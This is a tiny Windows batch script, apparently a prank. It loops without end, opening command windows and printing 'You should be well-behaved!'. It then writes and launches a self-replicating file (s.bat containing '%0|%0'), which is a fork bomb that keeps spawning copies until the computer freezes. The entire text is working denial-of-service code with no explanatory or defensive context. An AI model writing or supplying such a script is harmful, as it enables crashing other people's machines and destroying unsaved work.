@ECHO OFF :start start cmd /k echo You should be well-behaved! for /l %%i in (1,1,100) do (echo You should be well-behaved!) set /p="%0|%0"<nul>s.bat&s goto start